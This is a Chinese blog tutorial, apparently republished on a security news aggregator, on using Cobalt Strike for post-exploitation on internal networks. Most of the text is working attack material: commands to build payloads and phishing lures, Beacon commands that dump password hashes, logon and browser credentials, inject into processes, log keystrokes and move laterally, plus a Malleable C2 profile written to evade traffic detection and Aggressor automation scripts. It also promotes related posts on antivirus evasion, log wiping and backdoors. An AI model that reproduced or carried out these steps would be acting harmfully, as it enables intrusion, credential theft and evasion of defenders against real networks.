CobaltStrike之内网渗透神器的使用技巧"

admin 2026-10-14 16:00:41 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CobaltStrike 之 内网渗透神器的使用技巧

原创

围巢安全笔记
围巢安全笔记

围巢安全笔记

2026年10月12日 09:00
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

WEB 漏洞精讲 · 第 34 篇

刚开始学内网渗透的时候,用meterpreter做后渗透,感觉功能挺全的。直到有一次打一个比较大的内网,meterpreter的会话一个个掉线,命令执行慢得要死,横向移动也不方便。后来用了Cobalt Strike,才知道什么叫专业的内网渗透工具——会话稳定、功能强大、团队协作、一键横向移动。Cobalt Strike是红队渗透的标准装备,不会用Cobalt Strike,都不好意思说自己会内网渗透。

这篇把Cobalt Strike的核心功能和高级技巧讲透,约 3300 字,附 2 个冷门干货。

01|Cobalt Strike到底是什么

Cobalt Strike(简称CS)是一款专业的渗透测试工具,主要用于后渗透阶段。它由Strategic Cyber LLC公司开发,作者是Raphael Mudge。CS的定位是\"对手模拟\"工具,也就是模拟真实的APT攻击,所以它的功能非常全面,从初始访问到权限维持,从横向移动到数据窃取,几乎无所不能。

CS的架构是C/S模式:

  • Team Server(团队服务器)

——CS的服务端,运行在Linux上,所有的Beacon会话都连到Team Server。一个团队共用一个Team Server,可以多人同时协作
* Client(客户端)

——CS的图形界面客户端,运行在Windows、Linux、Mac上。攻击者通过Client连接到Team Server,操作Beacon会话
* Beacon(信标)

——CS的Payload,运行在目标机器上。Beacon会定期回连Team Server,接收攻击者的命令并执行

Cobalt Strike的主界面,显示了内网拓扑图和Beacon会话

02|基本使用:从启动到拿到Beacon

  1. 启动Team Server
# Team Server必须运行在Linux上
# 进入CS目录
cd /opt/cobaltstrike

# 启动Team Server
# 格式:./teamserver<密码> [Malleable C2 Profile]
./teamserver 192.168.1.10 yourpassword

# 如果要用自定义的C2 Profile:
./teamserver 192.168.1.10 yourpassword c2.profile

# 注意:
# 1. IP地址是Team Server的监听地址,Beacon会回连到这个IP
# 2. 密码是Client连接Team Server的密码
# 3. Team Server默认监听50050端口(Client连接用)
# 4. Beacon回连的端口在Listener里配置
# 5. Team Server必须保持运行,关掉之后所有Beacon都会掉线
  1. 创建Listener(监听器)
# 在CS客户端里操作:
# 1. 点击左上角的耳机图标(Listeners)
# 2. 点击Add按钮
# 3. 配置Listener:

# Name:监听器的名字,随便起,比如http
# Payload:Beacon的类型,有以下几种:
#   - windows/beacon_http/reverse_http —— HTTP回连
#   - windows/beacon_https/reverse_https —— HTTPS回连
#   - windows/beacon_dns/reverse_dns_txt —— DNS回连(最隐蔽)
#   - windows/beacon_smb/bind_pipe —— SMB命名管道(内网横向用)
#   - windows/beacon_tcp/bind_tcp —— TCP绑定(内网横向用)
#   - windows/foreign/reverse_http —— 外部监听器(转给MSF用)
#   - windows/foreign/reverse_https —— 外部监听器(转给MSF用)

# HTTP Hosts:Beacon回连的IP或域名,可以填多个
# HTTP Port (C2):Beacon回连的端口
# HTTP Host Header:HTTP请求的Host头(可以伪造)

# 4. 点击Save保存

# 注意:
# 1. 生产环境推荐用HTTPS,更安全
# 2. DNS回连最隐蔽,但是速度慢,适合长期潜伏
# 3. SMB和TCP监听器用于内网横向移动,不需要公网IP
# 4. 可以创建多个Listener,不同的Beacon用不同的监听器

Cobalt Strike创建HTTP监听器的配置界面

  1. 生成Payload
# 生成Payload的方式有很多种:

# 方式1:生成EXE
# Attacks -> Packages -> Windows Executable
# 选择Listener,点击Generate,保存为exe文件

# 方式2:生成PowerShell脚本
# Attacks -> Packages -> Windows Executable (S)
# 选择Listener,选择PowerShell,点击Generate
# 会生成一个PowerShell命令,直接在目标机器上执行就行

# 方式3:生成Office宏
# Attacks -> Packages -> MS Office Macro
# 选择Listener,点击Generate
# 会生成一个VBA宏代码,复制到Office文档里

# 方式4:生成HTML应用
# Attacks -> Packages -> HTML Application
# 选择Listener,选择方法(Executable/PowerShell/VBA)
# 点击Generate,保存为hta文件

# 方式5:生成Java小程序
# Attacks -> Packages -> Java Applet Attacks
# 这个已经过时了,现在浏览器都不支持Java了

# 方式6:钓鱼攻击(一键生成钓鱼网站)
# Attacks -> Web Drive-by -> Spear Phish
# 可以生成带恶意附件的钓鱼邮件
# 或者克隆网站,窃取凭证

# 注意:
# 1. 生成的EXE默认没有免杀,需要自己做免杀
# 2. PowerShell脚本最方便,但是容易被AMSI检测
# 3. 推荐用Artifact Kit或者自定义生成器做免杀

03|Beacon常用命令

# 基础命令:
beacon> help              # 查看帮助
beacon> help 命令名       # 查看具体命令的帮助
beacon> sleep 30          # 设置回连间隔为30秒
beacon> sleep 30 20       # 设置回连间隔30秒,抖动20%(10-50秒随机)
beacon> jitter 20         # 设置抖动为20%
beacon> exit              # 退出Beacon(会删除Beacon)
beacon> quit              # 退出当前会话(不删除Beacon)

# 信息收集:
beacon> whoami            # 查看当前用户
beacon> hostname          # 查看主机名
beacon> ipconfig          # 查看网络配置
beacon> net view          # 查看内网机器列表
beacon> net computers     # 查看域内机器列表
beacon> net users         # 查看用户列表
beacon> net localgroup    # 查看本地组
beacon> net group         # 查看域组
beacon> net dclist        # 查看域控制器列表
beacon> net share         # 查看共享文件夹
beacon> net sessions      # 查看会话
beacon> net trust         # 查看域信任

# 凭证获取:
beacon> hashdump          # 抓取SAM哈希(需要管理员权限)
beacon> logonpasswords    # 用mimikatz抓取登录用户的密码和哈希
beacon> tickets            # 查看Kerberos票据
beacon> kerberos::list    # 列出Kerberos票据
beacon> kerberos::ptt     # 导入Kerberos票据(票据传递)

# 文件操作:
beacon> ls                # 列出文件
beacon> cd C:\\\\           # 切换目录
beacon> pwd               # 查看当前目录
beacon> download 文件路径  # 下载文件
beacon> upload 文件路径    # 上传文件
beacon> cp 源文件 目标文件 # 复制文件
beacon> mv 源文件 目标文件 # 移动文件
beacon> rm 文件路径        # 删除文件
beacon> mkdir 目录名       # 创建目录
beacon> shell 命令         # 执行cmd命令
beacon> powershell 命令    # 执行PowerShell命令
beacon> run 程序           # 运行程序(不等待返回)
beacon> execute 程序       # 运行程序(等待返回)

# 权限提升:
beacon> getuid            # 查看当前用户
beacon> getprivs          # 查看当前权限
beacon> getsystem         # 尝试提权到system
beacon> bypassuac         # 绕过UAC提权
beacon> elevate           # 提权(用各种漏洞提权)
beacon> spawnas            # 用其他用户身份启动Beacon

# 进程操作:
beacon> ps                # 列出进程
beacon> kill PID          # 杀死进程
beacon> inject PID 监听器  # 注入到指定进程
beacon> spawnto 程序路径   # 设置spawn的程序路径
beacon> dllinject PID DLL  # 注入DLL到指定进程
beacon> shinject PID 监听器 # 注入Shellcode到指定进程

# 横向移动:
beacon> jump 方法 目标 监听器  # 横向移动
# 方法有:psexec、winrm、wmi、wmi64、ssh、psexec64、scm、scm64
beacon> remote-exec 方法 目标 命令  # 远程执行命令
# 方法有:psexec、winrm、wmi、ssh
beacon> portscan 网段 端口 类型  # 端口扫描
# 类型有:arp、icmp、none
beacon> socks 端口        # 开启SOCKS代理
beacon> rportfwd 本地端口 目标IP 目标端口  # 远程端口转发

干货Malleable C2 Profile:自定义流量特征,绕过流量检测

默认的CS Beacon流量特征太明显了,IDS/IPS一眼就能识别出来。用Malleable C2 Profile可以自定义Beacon的流量特征,让它看起来像是正常的HTTP流量:

# Malleable C2 Profile的基本结构:

# 1. 全局设置
set sleeptime \"60000\";      # 默认睡眠时间60秒
set jitter \"20\";             # 抖动20%
set useragent \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\";
set data_jitter \"5\";         # 数据大小抖动5%

# 2. HTTP GET请求设置(Beacon下载命令)
http-get {
    set uri \"/api/v1/update\";  # 请求的URI,伪装成API请求
    set verb \"GET\";             # 请求方法

    client {
        header \"Accept\" \"application/json\";
        header \"Authorization\" \"Bearer abc123\";
        metadata {
            base64;            # metadata用base64编码
            header \"Cookie\";   # 放在Cookie头里
        }
    }

    server {
        header \"Content-Type\" \"application/json\";
        output {
            base64;            # 输出用base64编码
            print;             # 打印在响应体里
        }
    }
}

# 3. HTTP POST请求设置(Beacon上传结果)
http-post {
    set uri \"/api/v1/report\";
    set verb \"POST\";

    client {
        header \"Content-Type\" \"application/json\";
        id {
            uri-append;        # session ID放在URI后面
        }
        output {
            base64;
            print;
        }
    }

    server {
        header \"Content-Type\" \"application/json\";
        output {
            base64;
            print;
        }
    }
}

# 4. 进程注入设置
process-inject {
    set allocator \"NtMapViewOfSection\";  # 用NtMapViewOfSection分配内存
    set startrwx \"true\";                  # 起始内存可读写执行
    set userwx \"false\";                   # 不用VirtualProtect修改权限

    transform-x86 {
        prepend \"\\x90\\x90\\x90\";          # x86前面加NOP
    }
    transform-x64 {
        prepend \"\\x90\\x90\\x90\\x90\\x90\";  # x64前面加NOP
    }
}

# 5. 证书设置(HTTPS用)
https-certificate {
    set C \"US\";
    set CN \"*.example.com\";
    set O \"Example Inc\";
    set OU \"IT Department\";
    set validity \"365\";
}

# 使用方法:
# 1. 把Profile保存为c2.profile
# 2. 启动Team Server的时候指定Profile:
#    ./teamserver 192.168.1.10 password c2.profile
# 3. 用c2lint工具检查Profile是否有语法错误:
#    ./c2lint c2.profile

# 常用的Profile资源:
# - https://github.com/rsmudge/Malleable-C2-Profiles (官方示例)
# - https://github.com/threatexpress/malleable-c2 (社区维护)
# - https://github.com/FortyNorthSecurity/C2Concealer (自动生成)

# 注意:
# 1. Profile改了之后,要重启Team Server才能生效
# 2. 已经生成的Beacon不会自动更新Profile,需要重新生成
# 3. 好的Profile能让Beacon流量看起来和正常流量一模一样
# 4. 建议用C2Concealer自动生成随机的Profile,更难被检测

Malleable C2 Profile是CS的核心功能之一,也是红队渗透的必备技能。掌握了Profile配置,你的Beacon就很难被流量检测设备发现了。

04|高级功能和技巧

  1. execute-assembly:在内存中执行.NET程序
# execute-assembly是CS最强大的功能之一
# 它可以在Beacon进程的内存中直接执行.NET程序
# 不需要把程序写到磁盘上,更隐蔽

# 基本用法:
beacon> execute-assembly /path/to/SharpHound.exe
# 会把SharpHound.exe加载到内存中执行
# 执行结果直接返回给Beacon

# 带参数:
beacon> execute-assembly /path/to/Rubeus.exe kerberoast
# Rubeus.exe后面的参数会传给程序

# 常用的.NET渗透工具(都可以用execute-assembly执行):
# - SharpHound —— 域信息收集,BloodHound的数据采集器
# - Rubeus —— Kerberos攻击工具
# - Seatbelt —— 本机信息收集
# - SharpUp —— 提权检查
# - SharpWMI —— WMI远程执行
# - SharpDPAPI —— DPAPI解密
# - Mimikatz.NET —— .NET版本的mimikatz
# - Covenant —— 另一个C2框架

# 注意:
# 1. execute-assembly只能执行.NET程序(C#写的)
# 2. 执行的时候会加载CLR(公共语言运行时)
# 3. 有些杀毒软件会监控CLR的加载
# 4. 可以用inline-execute代替,更隐蔽
beacon> inline-execute /path/to/assembly.exe 参数
# inline-execute不会加载完整的CLR,更轻量
  1. SOCKS代理和端口转发
# 开启SOCKS代理
beacon> socks 1080
# 会在Team Server上开启1080端口的SOCKS代理
# 然后在你的攻击机上配置代理,就能访问内网了

# 在攻击机上配置proxychains:
# 编辑/etc/proxychains.conf,最后一行加:
# socks5 192.168.1.10 1080
# 然后用proxychains运行工具:
proxychains nmap -sT -Pn 192.168.1.0/24
proxychains curl http://192.168.1.100
proxychains rdesktop 192.168.1.100

# 关闭SOCKS代理
beacon> socks stop

# 远程端口转发(把内网端口转发到Team Server)
beacon> rportfwd 3389 192.168.1.100 3389
# 格式:rportfwd 本地端口 目标IP 目标端口
# 会把Team Server的3389端口转发到内网192.168.1.100的3389端口
# 然后你连接Team Server的3389,就等于连内网机器的3389

# 查看端口转发
beacon> rportfwd

# 删除端口转发
beacon> rportfwd stop 3389

# 注意:
# 1. SOCKS代理是在Team Server上开启的,不是在Client上
# 2. 所有Client都能使用这个SOCKS代理
# 3. rportfwd也是在Team Server上监听
# 4. 如果要在Client上监听,用ssh的-L参数或者其他工具
  1. 团队协作和日志
# CS支持多人同时协作
# 多个Client可以同时连接到同一个Team Server
# 每个人的操作都会实时同步给其他人

# 事件日志(Event Log)
# 所有的操作都会记录在Event Log里
# View -> Event Log
# 可以看到谁在什么时候执行了什么命令

# 键盘记录(Keylogger)
beacon> keylogger
# 会开始记录目标机器的键盘输入
# 记录结果会实时同步给所有Client

# 截图(Screenshot)
beacon> screenshot
# 截取目标机器的屏幕
# 截图会显示在Client的Screenshots标签里

# 浏览器凭证窃取
beacon> chrome-dump
# 窃取Chrome浏览器保存的密码
beacon> firefox-dump
# 窃取Firefox浏览器保存的密码

# 剪贴板监控
beacon> clipboard
# 监控目标机器的剪贴板内容

# 注意:
# 1. 团队协作的时候,建议给每个人分配不同的Beacon操作
# 2. 不要同时操作同一个Beacon,会冲突
# 3. 重要操作之前先和团队成员沟通
# 4. 所有操作都会被记录,注意 OPSEC(操作安全)

干货CS的Aggressor Script:自动化你的渗透流程

Aggressor Script是CS的脚本语言,可以用它来自动化渗透流程,扩展CS的功能:

# Aggressor Script基本语法(基于Sleep语言)

# 1. 自定义命令
sub mycommand {
    # $1是Beacon的ID,$2是参数
    blog($1, \"这是我的自定义命令,参数:$2\");
    btask($1, \"执行命令...\");
    # 执行系统命令
    bshell($1, \"whoami\");
}

# 注册命令
beacon_command_register(\"mycommand\", \"这是我的自定义命令\", \\&mycommand);

# 2. 事件监听
on beacon_initial {
    # 新Beacon上线的时候触发
    blog($1, \"新Beacon上线了!\");
    # 自动执行信息收集
    bshell($1, \"ipconfig\");
    bshell($1, \"whoami\");
    bshell($1, \"hostname\");
}

on beacon_input {
    # 每次输入命令的时候触发
    # 可以用来记录日志或者自动补全
}

on file_upload {
    # 上传文件的时候触发
}

# 3. 菜单扩展
# 在Beacon右键菜单里添加自定义选项
popup beacon_bottom {
    item \"我的工具\" {
        menu(\"子菜单1\", \\&sub1);
        menu(\"子菜单2\", \\&sub2);
    }
}

sub sub1 {
    # $1是选中的Beacon ID列表
    foreach $beacon ($1) {
        bshell($beacon, \"whoami\");
    }
}

# 4. 常用的内置函数
# blog($bid, $text) —— 在Beacon控制台输出
# btask($bid, $text) —— 显示任务状态
# bshell($bid, $cmd) —— 执行cmd命令
# bpowerShell($bid, $cmd) —— 执行PowerShell命令
# bupload($bid, $file) —— 上传文件
# bdownload($bid, $file) —— 下载文件
# binject($bid, $pid, $listener) —— 注入进程
# bjump($method, $target, $listener) —— 横向移动
# bhasdump($bid) —— 抓取哈希
# blogonpasswords($bid) —— 抓取登录密码

# 使用方法:
# 1. 把脚本保存为script.cna
# 2. 在CS客户端里加载:
#    View -> Script Console -> load script.cna
# 3. 或者在启动Client的时候指定:
#    ./cobaltstrike --client script.cna

# 常用的Aggressor Script资源:
# - https://github.com/harleyQu1nn/AggressorScripts (经典脚本集合)
# - https://github.com/rasta-mouse/Aggressor-Script (rasta的脚本)
# - https://github.com/Und3rf10w/Aggressor-scripts (实用脚本)
# - https://github.com/michalkoczwara/cobalt-strike-scripts (更多脚本)

Aggressor Script能大大提高渗透效率,把重复的操作自动化,让你专注于更有价值的事情。

Cobalt Strike是内网渗透的神器,功能非常强大,这篇文章只讲了最核心的功能和最常用的技巧。CS还有很多高级功能,比如Browser Pivoting(浏览器劫持)、User-driven Attacks(用户驱动攻击)、Artifact Kit(自定义Payload生成器)、Resource Kit(资源包)等等,需要你在实战中慢慢摸索。

我的建议是:先把基本功能用熟,然后再研究高级功能。CS的学习曲线比较陡,但是一旦掌握了,你的内网渗透能力会有质的飞跃。

下一篇我们聊红队评估——怎么从攻击者的角度全面评估企业的安全防护能力。我们下篇见。

围巢安全笔记

不生产焦虑,只分享踩过的坑和挖过的洞

你用Cobalt Strike最顺手的功能是什么?评论区聊聊 👇

有想聊的话题,后台留言告诉我

往期回顾

  • 免杀技术:怎么让你的木马不被杀毒软件发现
  • 横向移动:拿到一台服务器之后,怎么控制整个内网
  • 痕迹清理:干完活之后,怎么把日志清干净,不留痕迹
  • 权限维持:拿到服务器之后,怎么留后门,下次还能进来

[1012]一周重点情报汇总|天际友盟情报站" 网络安全文章

[1012]一周重点情报汇总|天际友盟情报站"

天际友盟情报站发布一周重点情报汇总,涵盖BlinderTunnel针对伊拉克关键基础设施攻击、TA419组织钓鱼活动、EarthSirrush利用PNG隐写术部署间谍软件、针对俄罗斯医疗机构的Vasilek后门、恶意Firefox扩展窃取加密货币凭据、npm包投毒、Anatsa银行木马分发及CitrixNetScaler漏洞利用等热点事件,建议关注相关威胁情报并加强防护。
CobaltStrike之内网渗透神器的使用技巧" 网络安全文章

CobaltStrike之内网渗透神器的使用技巧"

本文介绍了CobaltStrike内网渗透工具的核心功能与使用技巧,涵盖其C/S架构、TeamServer与Beacon工作机制、Listener配置、Payload生成方式及常用Beacon命令,并附MalleableC2Profile自定义流量特征以绕过检测的冷门干货,适合红队与内网渗透学习参考。
glances-CVE-2026-32596-信息泄露" 网络安全文章

glances-CVE-2026-32596-信息泄露"

本文介绍Glances监控工具CVE-2026-32596信息泄露漏洞,影响版本4.5.1及以下,利用前提是网页服务器以glances-w启动时默认无需认证。攻击者可通过/api/4/system、/api/4/all、/api/4/processlist等接口获取系统信息、进程数据,甚至可能泄露账号密码。修复建议包括关闭互联网暴露面或设置访问权限、升级至安全版本。文章末尾有付费圈子推广内容。
震撼业界的SQL解析引擎面世!百度安全这款开源工具让数据库攻击无处遁形" 网络安全文章

震撼业界的SQL解析引擎面世!百度安全这款开源工具让数据库攻击无处遁形"

百度安全开源的sqlparser项目是一款基于ANTLR4.5构建的SQL词法分析与解析工具,专为OpenRASP平台设计,可精确解析SQL语句并生成令牌序列,用于识别注入攻击与异常访问。其核心组件包括SQLLexer、SQLParser及TokenGenerator,支持自定义错误监听与解析树遍历。该工具可应用于RASP安全防护、数据库防火墙构建及SQL标准化处理,为数据库安全检测提供关键能力。
评论:0   参与:  0